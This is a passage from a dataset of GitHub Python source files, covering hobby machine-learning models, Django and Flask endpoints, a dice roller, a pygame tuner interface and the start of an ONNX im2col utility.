image.close()\n\n","repo_name":"damwead/wallpaper_changer","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23248116341","text":"import typing\r\nimport dataclasses\r\n\r\nfrom .Repeater import Repeater\r\n\r\n\r\n\r\nT = typing.TypeVar('T')\r\n\r\n\r\n@dataclasses.dataclass(frozen = True, kw_only = True)\r\nclass Retrier(typing.Generic[T]):\r\n\r\n\trepeater : Repeater[T]\r\n\texceptions : set[typing.Type[Exception]]\r\n\r\n\tdef execute(self):\r\n\r\n\t\ttry:\r\n\t\t\treturn self.repeater.f()\r\n\r\n\t\texcept Exception as e:\r\n\r\n\t\t\tif not any(\r\n\t\t\t\tisinstance(e, E)\r\n\t\t\t\tfor E in self.exceptions\r\n\t\t\t):\r\n\t\t\t\traise\r\n\r\n\t\t\tprint(f'Will retry {self.repeater.f} as it failed with exception {e.__class__.__name__}: {e}')\r\n\t\t\treturn False\r\n\r\n\tdef __call__(self):\r\n\t\treturn self.repeater(\r\n\t\t\tstop = lambda result: result is not False\r\n\t\t)","repo_name":"MentalBlood/podcaster","sub_path":"podcaster/Retrier.py","file_name":"Retrier.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8687587585","text":"# cook your dish here\nt=int(input())\nwhile(t):\n n=int(input())\n s=input()\n o=0\n z=0\n for i in s:\n if(i=='1'):\n o+= 1\n else:\n z+=1\n if(z==o):\n print(z+o)\n else:\n x=2*min(z,o)+1\n print(x)\n t-=1","repo_name":"dhruv-gautam16/Code_Chef-Contest-","sub_path":"ALTSTRR.py","file_name":"ALTSTRR.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"5195485927","text":"from typing import Iterable, Union\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.decomposition import PCA \nimport numpy as np\nimport pandas as pd\n\nclass RotationTree:\n \"\"\"Base estimator for RotaionForest.\n \n Algorithm:\n Split feature set into k features subsets. \n For every subset select a bootstrap sample from X of size 75% of the number of objects in X.\n Apply PCA on this bootstrap sample and add PCA.components_ to the rotation matrix. \n Then build tree using regenerated bootstrap sample multiplied by the rotation matrix\n\n Args:\n k_features_subsets (int, optional): Number of the feature subsets.\n random_state (int, optional): Seed of random to use. Defaults to 73.\n \n Attrs:\n rotation_matrix (np.ndarray): rotation matrix to rotate the data.\n \n Methods:\n fit(pd.DataFrame, pd.DataFrame): fitting the estimator.\n predict(pd.DataFrame): make predictions on new data.\n predict_proba(pd.DataFrame): make predictions of probability on new data.\n \"\"\"\n \n def __init__(self, \n k_features_subsets: int = 5, \n random_state: int = 73, \n **fit_params\n ):\n self.model = DecisionTreeClassifier(\n random_state=random_state, \n **fit_params\n )\n self.random_state = random_state\n self.k_features_subsets = k_features_subsets\n self.rotation_matrix = None\n np.random.seed = seed=self.random_state,\n \n def fit(self, X: pd.DataFrame, y: pd.DataFrame) -> object:\n \"\"\"Fitting estimator\n\n Args:\n X (pd.DataFrame): Data\n y (pd.DataFrame): True labels\n\n Raises:\n ValueError: if k_features_subsets > features in data\n\n Returns:\n object: self\n \"\"\"\n \n if self.k_features_subsets > X.shape[1]:\n raise ValueError(\"'k_features_subsets must be less than number of features in data.'\")\n \n feature_subsets = self.get_subsets(X)\n \n self.rotation_matrix = np.zeros((X.shape[1],X.shape[1]),dtype=float)\n \n pca = PCA(random_state=self.random_state)\n \n for subset in feature_subsets:\n bt_sample = self.get_sample(X, subset)\n pca.fit(bt_sample)\n self.update_rotation_matrix(subset, pca.components_)\n \n X_train, y_train = self.get_boot_sample(X, y)\n X_transformed = X_train.dot(self.rotation_matrix)\n self.model.fit(X_transformed, y_train)\n \n return self \n \n def get_subsets(self, X: pd.DataFrame) -> list:\n \"\"\"Make k disjoint subsets of features.\n\n Args:\n X (pd.DataFrame): data\n\n Returns:\n list: list of k subsets\n \"\"\"\n \n n_features = X.shape[1]\n features_set = list(range(n_features))\n np.random.shuffle(features_set,)\n m = n_features//self.k_features_subsets\n \n subsets = [\n [feature for feature in features_set[\n i : self.k_features_subsets*m : self.k_features_subsets\n ]] \n for i in range(self.k_features_subsets)\n ]\n \n return subsets\n \n def get_sample(self, \n X: pd.DataFrame, \n features: Iterable[int], \n bt_prcnt: int = 0.75\n ) -> pd.DataFrame:\n \"\"\"Sample with features and 0.75 size of X.shape[0] for PCA fitting.\n\n Args:\n X (pd.DataFrame): data\n features (Iterable[int]): indexes of features to take\n bt_prcnt (int, optional): Size of bootstrap sample. Defaults to 0.75.\n\n Returns:\n pd.DataFrame: bootstrap sample \n \"\"\"\n \n subset_obj_idx = np.random.choice(\n list(range(X.shape[0])), \n size = int(bt_prcnt*X.shape[0]),\n )\n \n return X.iloc[subset_obj_idx, features]\n \n def update_rotation_matrix(self, \n subset: Iterable[int], \n pca_components: Iterable[Iterable[int]]\n ) -> None:\n \"\"\"Update the rotation matrix with pca's components.\n\n Args:\n subset (Iterable[int]): indexes of features to update\n pca_components (Iterable[Iterable[int]]): pca's components\n \"\"\"\n for i in range(0,len(pca_components)):\n for j in range(0,len(pca_components)):\n self.rotation_matrix[subset[i],subset[j]] = pca_components[i,j]\n \n def get_boot_sample(self, X: pd.DataFrame, y: pd.DataFrame) -> pd.DataFrame:\n newdata = np.concatenate((X, y[:, np.newaxis]), axis=1)\n cases = np.random.choice(\n newdata.shape[0], \n size=newdata.shape[0], \n replace=True,\n )\n samples = newdata[cases,]\n\n return samples[:, :-1], samples[:, -1]\n \n def predict(self, X: pd.DataFrame) -> np.ndarray:\n \"\"\"Predict for new data.\n\n Args:\n X (pd.DataFrame): data\n\n Returns:\n np.ndarray: model output\n \"\"\"\n X_transformed = X.dot(self.rotation_matrix)\n return self.model.predict(X_transformed)\n \n def predict_proba(self, X: pd.DataFrame) -> Iterable[np.ndarray]:\n \"\"\"Probability predictions for new data.\n\n Args:\n X (pd.DataFrame): data\n\n Returns:\n Iterable[np.ndarray]: Matrix of probability for every class.\n \"\"\"\n X_transformed = X.dot(self.rotation_matrix)\n return self.model.predict_proba(X_transformed)\n \n\nclass RotationForest:\n \"\"\"Forest with RotationTree as base estimator.\n \n Algorithm:\n Building n_estimator of RotationTree.\n \n Args:\n n_estimators (int, optional): Number of estimator in forest.\n k_features_subsets (int, optional): Number of feature subsets.\n random_state (int, optional): Seed of random to use. Defaults to 73.\n \n Methods:\n fit(np.ndarray, np.ndarray): fitting the forest.\n predict(np.ndarray): make predictions on new data.\n predict_proba(np.ndarray): make predictions of probability on new data.\n score (np.ndarray, np.ndarray): calculate accuracy_score.\n \n Example:\n >>> from sklearn.datasets import make_classification\n >>> X, y = make_classification(\n ... n_samples=100, n_features=20, n_classes=2,\n ... n_informative=4, n_redundant=3, n_repeated=2,\n ... random_state=42)\n >>> rrf = RotationForest(100, 2)\n >>> rrf.fit(X, y) \n \"\"\"\n \n def __init__(self, \n n_estimators: int = 100, \n k_features_subsets: int = 2, \n random_state = 73,\n **fit_params\n ):\n self.n_estimators = n_estimators\n self.k_features_subsets = k_features_subsets\n self.random_state = random_state\n self.fit_params = fit_params\n self.models = list()\n \n def fit(self, X: np.ndarray, y: np.ndarray) -> None:\n \"\"\"Fitting the forest.\n\n Args:\n X (np.ndarray): Matrix of data\n y (np.ndarray): vector of y_true\n \"\"\"\n \n X = self.__pd_data(X)\n for _ in range(self.n_estimators):\n model = RotationTree(self.k_features_subsets, random_state=self.random_state,**self.fit_params)\n model.fit(X, y)\n self.models.append(model)\n\n def predict(self, X: np.ndarray) -> np.ndarray:\n \"\"\"Make predictions for new data.\n\n Args:\n X (np.ndarray): Matrix of data\n\n Returns:\n np.ndarray: vector of predictions\n \"\"\"\n \n predictions = []\n for model in self.models:\n pred = model.predict(X)\n predictions.append(pred)\n predictions = np.array(predictions)\n \n final_pred = []\n for i in range(len(X)):\n pred_from_all_models = np.ravel(predictions[:,i])\n frequency = np.bincount(pred_from_all_models.astype('int'))\n final_pred.append(np.argmax(frequency))\n \n return np.array(final_pred)\n \n def predict_proba(self, X: np.ndarray) -> np.ndarray:\n \"\"\"Make probability predictions for new data.\n\n Args:\n X (np.ndarray): Data matrix\n\n Returns:\n np.ndarray: matrix of probability for every class\n \"\"\"\n \n predictions = []\n for model in self.models:\n pred = model.predict_proba(X)\n predictions.append(pred)\n \n predictions = np.array(predictions)\n \n final_pred = np.zeros((predictions.shape[1], predictions.shape[2]))\n for i in range(len(X)):\n final_pred[i,0] = predictions[:,i,0].mean()\n final_pred[i,1] = predictions[:,i,1].mean()\n \n return final_pred\n \n def score(self, X: np.ndarray, y: np.ndarray) -> float:\n \"\"\"accuracy_score\n\n Args:\n X (np.ndarray): data matrix\n y (np.ndarray): y_true vector\n\n Returns:\n float: accuracy\n \"\"\"\n \n pred = self.predict(X)\n return accuracy_score(y, pred)\n \n @staticmethod\n def __pd_data(X: Union[np.ndarray, pd.DataFrame]) -> pd.DataFrame:\n \"\"\"Returns pandas DataFrame for right work of algorithm.\n\n Args:\n data (np.array): Input values.\n\n Returns:\n pd.DataFrame\n \"\"\" \n \n if isinstance(X, np.ndarray):\n return pd.DataFrame(X)\n return X\n \n \n if __name__ == \"__main__\":\n import doctest\n doctest.testmod()","repo_name":"pavelkochkin1/karpov-courses-test-task","sub_path":"rotation_forest.py","file_name":"rotation_forest.py","file_ext":"py","file_size_in_byte":9652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9617845997","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nprint(tf.__version__)\n\n\nmnist = tf.keras.datasets.mnist\n\n\ndata = mnist.load_data()\n\nlearning_rate = 0.01\ntraining_epochs = 25\nbatch_size = 100\ndisplay_step = 1\n\n# 计算图的输入\nX = tf.placeholder(tf.float32,[None,784]) # mnist图片尺寸为28*28=784\nY = tf.placeholder(tf.float32,[None,10]) # 0-9共9个数字,10分类问题\n# 模型权重\nW = tf.Variable(tf.zeros([784,10]))\nb = tf.Variable(tf.zeros([10]))\n# 构建模型\npred = tf.nn.softmax(tf.matmul(X,W)+b)\n# crossentroy\nloss = tf.reduce_mean(-tf.reduce_sum(Y*tf.log(pred), reduction_indices=1))\n# SGD\noptimizer = tf.train.GradientDescentOptimizer(learning_rate).minimize(loss)\n# 初始化\ninit = tf.global_variables_initializer()\n\ntf.Session().run()","repo_name":"jianjunyue/KmmtML","sub_path":"广告CTR/FM推演各深度学习CTR预估模型/LR1.py","file_name":"LR1.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13813791464","text":"from django.shortcuts import render\nimport datetime , json\nfrom testapp.models import EventData, EventQueue, Queue\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse , JsonResponse\nfrom django.conf import settings\n\n@csrf_exempt\ndef savetheevent(request):\n print (request.body)\n data = json.loads(request.body)\n #image = request.FILES[\"image\"]\n event_name = data[\"event_name\"]\n event_date_start = datetime.datetime.strptime(str(data[\"date_start\"]),\"%d%m%Y\").date()\n event_date_end = datetime.datetime.strptime(str(data[\"date_end\"]),\"%d%m%Y\").date()\n event_description = data[\"description\"]\n event_city = data[\"city\"]\n genre = data[\"genre\"]\n ans = EventData.objects.create(event_name=event_name, date_start=event_date_start, date_end=event_date_end, description=event_description, city=event_city, genre=genre)\n EventQueue.objects.create(event_id=ans.event_id,start_point=0,end_point=0)\n return HttpResponse(\"Event successfully saved!\")\n\n@csrf_exempt\ndef showeventdetails(request):\n if request.method == 'GET':\n data = EventData.objects.all().values()\n listing = list(data)\n for i in range(len(listing)):\n if listing[i][\"event_cover_image\"]:\n listing[i][\"event_cover_image\"] = settings.BASE_URL + settings.STATIC_URL + listing[i][\"event_cover_image\"].split('/')[1]\n ## print (listing[i])\n return JsonResponse(listing, safe=False)\n return HttpResponse(\"Wrong request!\")\n\n@csrf_exempt\ndef deleteevent(request, id):\n if request.method == 'DELETE':\n EventData.objects.get(event_id=id).delete()\n EventQueue.objects.get(event_id=id).delete()\n return HttpResponse(\"Event successfully removed!\")\n else:\n return HttpResponse(\"Wrong Request!\")\n\n\n@csrf_exempt\ndef queueenter(request):\n data = request.POST\n username = data[\"username\"]\n event_id = data[\"event_id\"]\n ans = EventQueue.objects.get(event_id=event_id)\n ans.end_point = ans.end_point + 1\n token_number = ans.end_point\n ans.save()\n Queue.objects.create(event_id=event_id, username=username, token_number=token_number)\n return JsonResponse([token_number], safe= False)\n\n\n@csrf_exempt\ndef queueleave(request):\n data = request.POST\n event_id = data[\"event_id\"]\n token_number = data[\"token_number\"]\n ans = EventQueue.objects.get(event_id=event_id)\n ans.start_point = ans.start_point + 1\n ans.save()\n Queue.objects.get(event_id=event_id,token_number=token_number).delete()\n return HttpResponse(\"Removed from queue successfully!\")\n\n\n@csrf_exempt\ndef queuelength(request):\n data = json.loads(request.body)\n #print (data)\n event_id = int(data[\"event_id\"])\n ans = EventQueue.objects.get(event_id=event_id)\n length = ans.end_point - ans.start_point\n return JsonResponse([length,ans.end_point,ans.start_point], safe=False)\n\n@csrf_exempt\ndef tokenupdate(request):\n data = request.POST\n event_id = int(data[\"event_id\"])\n ans = EventQueue.objects.get(event_id=event_id)\n start_point = ans.start_point\n return JsonResponse([start_point], safe=False)\n\n\n@csrf_exempt\ndef userqueues(request):\n data = json.loads(request.body)\n name = data[\"username\"]\n ans = Queue.objects.filter(username=name)\n listing = []\n for a in ans:\n listing.append({\"event_id\":a.event_id,\"token_number\":a.token_number})\n return JsonResponse(listing, safe=False)\n\n@csrf_exempt\ndef registertheuser(request):\n data = request.body\n #print (type(data))\n # print (request)\n # data = json.loads(request.body)\n # user_name = data[\"user_name\"]\n # user_profile_image = data[\"user_profile_image\"]\n # user_cover_image = data[\"user_cover_image\"]\n # EventData.objects.create(user_name=user_name, user_profile_image=user_profile_image, user_cover_image=user_cover_image)\n return HttpResponse(\"User successfully registered!\")\n\n\n# @csrf_exempt\n# def test(request):\n# data = request.POST\n# print (data[\"name\"])\n# image = request.FILES[\"image\"]\n# print (type(image))\n# Test.objects.create(name=data[\"name\"],image=image)\n# return HttpResponse(\"Done\")","repo_name":"CodeAayu/TheQ-Backend","sub_path":"testapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4172,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"26755271174","text":"import random\n# allows use of randint()\n\ndef getRolls(n=1,d=20,b=0,s='+'):\n rolls = []\n # initialize list of rolls\n\n for i in range(n):\n rolls.append(random.randint(1,d))\n # now have a list of Nd(D) rolls\n\n rollsStr = \"\"\n # initialize string of rolls\n\n for i in range(len(rolls)-1):\n rollsStr += (str(rolls[i]) + ' + ')\n # works bc magic\n \n rollsStr += str(rolls[len(rolls)-1])\n # adds last one w/out \"+\"\n\n print(f'rolling {n}d{d} {s}{b} --> [{rollsStr}] {s}{b} is ({sum(rolls) + b})')\n # print formatted final output\n\ndef callToNums(call):\n nums = []\n \n if ('d' in call): \n # have to check this first so 'whereD' is made for next check\n whereD = call.find('d')\n if (call[0] != 'd') and (call[:call.find('d')].isspace() == False):\n # first cond needed bc .isspace('') returns False\n # second cond needed to check if n exists\n nums.append(int(call[0:whereD]))\n else:\n nums.append(1)\n # default n if n nexists\n else:\n nums.append(1)\n # default n if d nexists\n\n if '+' in call:\n whereSp = call[whereD+1:].find('+')\n if call[whereD+1:whereSp+whereD+1].isspace():\n sides = 20\n # check for anything between 'd' and '+', if not, default d\n else:\n sides = (int(call[whereD+1:whereSp+whereD+1]))\n # 'd' and '+' both exist, and something is between them\n elif '-' in call:\n whereSp = call[whereD+1:].find('-')\n if call[whereD+1:whereSp+whereD+1].isspace():\n sides = 20\n # check for anything between 'd' and '-', if not, default d\n else:\n sides = (int(call[whereD+1:whereSp+whereD+1]))\n # 'd' and '-' both exist, and something is between them\n elif call[whereD+1:].isspace() == False:\n # no '+' or '-' --> no b given, but something is between 'd' and end,\n # which must be d\n sides = (int(call[whereD+1:]))\n # can just call int() on whole thing bc we've confirmed there's no b\n else:\n sides = 20\n \n nums.append(sides)\n # 2nd big if technically just assigns sides, still gotta add it to nums\n\n if '+' in call:\n nums.append(int(call[call.find('+')+1:]))\n elif '-' in call:\n nums.append(-int(call[call.find('-')+1:]))\n # if '+' or '-' exist, add from after them to the end\n else: \n nums.append(0)\n # if '+' and '-' nexist, default b\n\n if '-' in call:\n nums.append('')\n else:\n nums.append('+')\n # pulls sign of b for the formatted string to avoid \"+-b\" in result\n\n return(nums)\n # we made it. Should contain [n=1,d=20,b=0,'+'/'-'='+']\n\ndef Roll(call):\n roll = callToNums(call)\n print(getRolls(roll[0],roll[1],roll[2],roll[3]))\n # combine both functions for trite final step\n\nprint('done')\n# exists to allow debug console use","repo_name":"birdwatcheryebo/ndl-dice-roller","sub_path":"dice_roller.py","file_name":"dice_roller.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1235945956","text":"from django.test import TestCase\nfrom pandas import DataFrame\nfrom sklearn.ensemble import RandomForestClassifier, RandomForestRegressor\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nfrom pemors.users.ml.predict import Model, Predictor\nfrom pemors.users.models import Profile, User\nfrom pemors.users.utils import predict_personality_for_user\n\n\nclass ModelTestCase(TestCase):\n def setUp(self):\n self.model = Model()\n\n def test_has_properties(self):\n self.assertIn(\"rfc\", self.model.__dict__)\n self.assertIn(\"rfr\", self.model.__dict__)\n self.assertIn(\"tfidf\", self.model.__dict__)\n self.assertIn(\"dataframe\", self.model.__dict__)\n\n def test_has_right_class(self):\n self.assertIsInstance(self.model.rfc, RandomForestClassifier)\n self.assertIsInstance(self.model.rfr, RandomForestRegressor)\n self.assertIsInstance(self.model.tfidf, TfidfVectorizer)\n self.assertIsInstance(self.model.dataframe, DataFrame)\n\n def test_read_csv(self):\n dataframe = self.model._read_csv()\n assert dataframe is not None\n\n\nclass PredictorTestCase(TestCase):\n def setUp(self):\n self.predictor = Predictor()\n self.user = User.objects.create(email=\"dummy@email.com\", username=\"dummy\")\n self.profile = Profile.objects.create(user=self.user)\n self.tweets = [\"Hello\", \"Dummy message\", \"Dummy dummy dummy\"]\n for tweet in self.tweets:\n self.user.statuses.create(value=tweet)\n\n def test_can_predict_text(self):\n self.assertIsInstance(\n self.predictor.predict_status([\"dummy text\", \"dummy text 222\"]), list\n )\n\n def test_can_predict_personality_for_user(self):\n predict_personality_for_user(self.user)\n self.assertIsNot(self.user.profile.agr, 0)\n self.assertIsNot(self.user.profile.con, 0)\n self.assertIsNot(self.user.profile.opn, 0)\n self.assertIsNot(self.user.profile.ext, 0)\n self.assertIsNot(self.user.profile.neu, 0)\n","repo_name":"Ian2012/pemors","sub_path":"pemors/users/tests/test_predictor.py","file_name":"test_predictor.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38552960111","text":"#create function to run report\ndef run_report(melon_cost, file_name):\n \"\"\" create report on underpaid customers given a price and an order file. \"\"\"\n\n # open file\n with open(file_name) as file:\n\n # iterate over each line in file\n for line in file:\n\n # remove trailing spaces\n line = line.rstrip()\n\n # create list of items by splitting line at each '|'\n order_info = line.split('|')\n\n # assign each item a variable name\n order_num = int(order_info[0])\n customer = order_info[1]\n melons = int(order_info[2])\n price_paid = float(order_info[3])\n\n # get first name from customer name\n first_name = customer.split(' ')[0]\n\n # expected cost is the number of melons times the cost per melon\n expected = melons * melon_cost\n \n # if expected is different than the price paid \n if expected != price_paid:\n\n # check who owes who how much\n if expected < price_paid:\n status = 'overpaid'\n owe = f'We owe {first_name} ${price_paid-expected:.2f}.'\n else:\n status = 'underpaid'\n owe = f'{first_name} owes us ${expected-price_paid:.2f}.'\n\n # print a line explaining the situation\n print(f\"Order {order_num}: {customer} paid ${price_paid:.2f}. Expected ${expected:.2f}. {first_name} {status}. {owe} \")\n \n # this function returns 'None'\n return\n \n\n# run the report for a melon cost of $1.00 on the customer orders file\nrun_report(1, 'customer-orders.txt')","repo_name":"mbarnestech/HackbrightHomework","sub_path":"underpaid-customers/new_accounting.py","file_name":"new_accounting.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21432191573","text":"import streamlit as st\nfrom pandas.core.frame import DataFrame\n\nfrom utils.stats.codebase import num_files\nfrom utils.viz import plot_dependencies\n\nfrom .other import exception_handler\n\n\ndef page_data(\n libs: list[str], file_dict: dict[str, list[str]]\n) -> tuple[dict[str, int], list]:\n \"\"\"Get data for codebase page\n\n Arguments:\n libs {list} -- list of libraries\n file_dict {dict} -- list of files\n \"\"\"\n stats_dict = {\n \"Number of files\": num_files(file_dict),\n \"Number of libraries\": len(libs),\n }\n\n return stats_dict, libs\n\n\n@exception_handler\ndef stats_row(stats_dict: dict[str, int]):\n \"\"\"Show the metrics row\n\n Arguments:\n stats_dict {dict} -- dictionary with stats\n \"\"\"\n col_iter = st.columns(len(stats_dict))\n\n for col, (l, v) in zip(col_iter, stats_dict.items()):\n col.metric(label=l, value=v)\n\n\n@exception_handler\ndef codebase_stats(\n libs: list[str],\n dependencies_df: DataFrame,\n file_dict: dict[str, list[str]],\n):\n \"\"\"Show the codebase page\n\n Arguments:\n libs {list} -- list of libraries\n dependencies_df {pd.DataFrame} -- dataframe with dependencies\n file_dict {dict} -- dictionary with files\n \"\"\"\n stats_dict, libs = page_data(libs, file_dict)\n\n stats_row(stats_dict)\n\n gvz = plot_dependencies(dependencies=dependencies_df)\n st.graphviz_chart(gvz)\n\n st.code(\"\\n\".join(libs), language=\"markdown\")\n","repo_name":"ddomin212/codemaster","sub_path":"render/codebase.py","file_name":"codebase.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8363585151","text":"import pickle\nfrom flask import Flask\nfrom flask_cors import CORS, cross_origin\nimport pandas as pd\nfrom flask import request\n\nwith open('../../logisticRegression.pkl', 'rb') as f:\n model = pickle.load(f)\n\napp = Flask(__name__)\ncors = CORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\n\ndef transformdata(insured_hobbies,incident_type,collision_type,incident_severity,auto_model,authorities_contacted):\n data = {\n \"insured_hobbies_\" + insured_hobbies: [1],\n \"incident_type_\" + incident_type: [1],\n \"collision_type_\" + collision_type: [1],\n \"incident_severity_\" + incident_severity: [1],\n \"auto_model_\" + auto_model: [1],\n \"authorities_contacted_\" + authorities_contacted: [1],\n }\n df = pd.DataFrame(columns=['insured_hobbies_base-jumping', 'insured_hobbies_basketball',\n 'insured_hobbies_board-games', 'insured_hobbies_bungie-jumping',\n 'insured_hobbies_camping', 'insured_hobbies_chess',\n 'insured_hobbies_cross-fit', 'insured_hobbies_dancing',\n 'insured_hobbies_exercise', 'insured_hobbies_golf',\n 'insured_hobbies_hiking', 'insured_hobbies_kayaking',\n 'insured_hobbies_movies', 'insured_hobbies_paintball',\n 'insured_hobbies_polo', 'insured_hobbies_reading',\n 'insured_hobbies_skydiving', 'insured_hobbies_sleeping',\n 'insured_hobbies_video-games', 'insured_hobbies_yachting',\n 'incident_type_Multi-vehicle Collision', 'incident_type_Parked Car',\n 'incident_type_Single Vehicle Collision', 'incident_type_Vehicle Theft',\n 'collision_type_?', 'collision_type_Front Collision',\n 'collision_type_Rear Collision', 'collision_type_Side Collision',\n 'incident_severity_Major Damage', 'incident_severity_Minor Damage',\n 'incident_severity_Total Loss', 'incident_severity_Trivial Damage',\n 'auto_model_93', 'auto_model_95', 'auto_model_3 Series',\n 'auto_model_92x', 'auto_model_A3', 'auto_model_A5', 'auto_model_Accord',\n 'auto_model_C300', 'auto_model_CRV', 'auto_model_Camry',\n 'auto_model_Civic', 'auto_model_Corolla', 'auto_model_E400',\n 'auto_model_Escape', 'auto_model_F150', 'auto_model_Forrestor',\n 'auto_model_Fusion', 'auto_model_Grand Cherokee',\n 'auto_model_Highlander', 'auto_model_Impreza', 'auto_model_Jetta',\n 'auto_model_Legacy', 'auto_model_M5', 'auto_model_MDX',\n 'auto_model_ML350', 'auto_model_Malibu', 'auto_model_Maxima',\n 'auto_model_Neon', 'auto_model_Passat', 'auto_model_Pathfinder',\n 'auto_model_RAM', 'auto_model_RSX', 'auto_model_Silverado',\n 'auto_model_TL', 'auto_model_Tahoe', 'auto_model_Ultima',\n 'auto_model_Wrangler', 'auto_model_X5', 'auto_model_X6',\n 'authorities_contacted_Ambulance', 'authorities_contacted_Fire',\n 'authorities_contacted_None', 'authorities_contacted_Other',\n 'authorities_contacted_Police'], data=data)\n df = df.fillna(0)\n usedFeaturesInModel = ['insured_hobbies_camping','incident_severity_Trivial Damage' ,'auto_model_Wrangler','insured_hobbies_sleeping',\n 'insured_hobbies_dancing', 'insured_hobbies_kayaking', 'auto_model_CRV',\n 'incident_severity_Minor Damage', 'incident_severity_Total Loss',\n 'insured_hobbies_golf', 'auto_model_Malibu', 'auto_model_Camry',\n 'insured_hobbies_exercise', 'insured_hobbies_bungie-jumping',\n 'auto_model_Grand Cherokee', 'insured_hobbies_yachting', 'auto_model_X6',\n 'auto_model_Civic', 'incident_severity_Major Damage',\n 'insured_hobbies_cross-fit','insured_hobbies_chess']\n return df[usedFeaturesInModel]\n \n\n@app.route(\"/\")\n@cross_origin()\ndef helloWorld():\n return \"Hello, cross-origin-world!\"\n\n\n@app.route(\"/checkfraud\",methods=[\"post\"])\ndef CheckFraud():\n insured_hobbies = request.form.get('insured_hobbies')\n incident_type = request.form.get('incident_type')\n collision_type = request.form.get('collision_type')\n incident_severity = request.form.get('incident_severity')\n auto_model = request.form.get('auto_model')\n authorities_contacted = request.form.get('authorities_contacted')\n\n transformedData = transformdata(insured_hobbies,incident_type,collision_type,incident_severity,auto_model,authorities_contacted)\n pred = model.predict(transformedData)\n print(pred[0])\n return {'Prediction' : str(pred[0])}\n\nFlask.run(app)\n","repo_name":"vicklo/fraudshield","sub_path":"front-end/api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23796604650","text":"from ast import Global\nimport pygame\nimport time\n\nfrom global_state import Global_State\n\nfrom ...pygame_functions import get_exact_middle, quit_scene, quit_game\nfrom .auto_button import auto_button\nfrom .strings_buttons import strings_buttons\nfrom .display_tuning import display_tuning\n\nfrom ...components.Button import Button\n\n\nclass tuner_scene_ui:\n def __init__(self, screen, string_focus, change_to_auto, parent):\n self.title_font = pygame.font.SysFont('arial', 62)\n self.screen = screen\n self.parent = parent\n self.type = parent.type\n if self.type == 'regular':\n self.text = 'Tuner'\n self.auto_button = auto_button('A',\n self.screen, 50, 50, (self.screen.get_width() - 85, 35), change_to_auto)\n self.exit_button = auto_button('X',\n self.screen, 50, 50, (35, 35), lambda: quit_scene('balloon game'), animation=False)\n else:\n self.focused = string_focus[0]\n self.text = f'Please tuner {self.focused}'\n button_width = 200\n button_height = 50\n self.tuner_button = Button(\n 'Go to tuner', button_width, button_height, (Global_State.WIDTH / 2 - button_width - 100, Global_State.HEIGHT - 100), 8, lambda: parent.exit_start_tuner_scene('tuner'), 0)\n self.login_button = Button(\n 'Go to login', button_width, button_height, (Global_State.WIDTH / 2 + 100, Global_State.HEIGHT - 100), 8, lambda: parent.exit_tuner_to_app(), 1)\n\n self.srings_buttons = strings_buttons(string_focus)\n self.display_tuning = display_tuning()\n\n def draw(self, string_focus, tune_args, finish=False):\n self.screen.fill((30, 30, 30))\n # Draw the title\n title = self.title_font.render(\n self.text, 1, (255, 255, 255))\n self.screen.blit(\n title, (get_exact_middle(self.screen, title)[0], 20))\n\n # Draw the auto_button & exit_button\n if self.type == 'regular':\n self.auto_button.draw()\n self.exit_button.draw()\n self.srings_buttons.draw(self.screen, string_focus)\n elif finish:\n self.text = f'Guitar tuned successfuly!'\n self.tuner_button.draw(self.screen)\n self.login_button.draw(self.screen)\n else:\n self.text = f'Please tuner {string_focus}'\n self.srings_buttons.draw(self.screen, string_focus)\n\n # Draw the display\n self.display_tuning.draw(\n self.screen, tune_args[0], tune_args[1], tune_args[2])\n","repo_name":"almog674/guitar_project","sub_path":"gameplay/scenes/tuner_scene/tuner_scene_ui.py","file_name":"tuner_scene_ui.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8467136705","text":"import numpy as np\n\nimport qonnx.util.basic as util\nfrom qonnx.core.datatype import DataType\nfrom qonnx.custom_op.base import CustomOp\n\n# adapted from A. Karpathy's CS231 im2col code\n# utilities to generate a patch matrix from a multichannel image\n# of shape (batches, channels, height, width)\n# note: the spatial dimensions can be set to 1 to indicate\n# a dummy dimension (e.g. 1D convs represented as 2D)\n\n\ndef compute_conv_output_dim(ifm_dim, k, stride, total_pad=0, dilation=1):\n \"\"\"Returns spatial output dimension size for convolution with given params.\n total_pad gives the total amount of padding along the entire axis\n (both sides included).\n \"\"\"\n\n out_dim = int(((ifm_dim + total_pad - dilation * (k - 1) - 1) / stride) + 1)\n return out_dim\n\n\ndef get_im2col_indices_nchw(\n x_shape,\n field_height,\n field_width,\n padding=0,\n 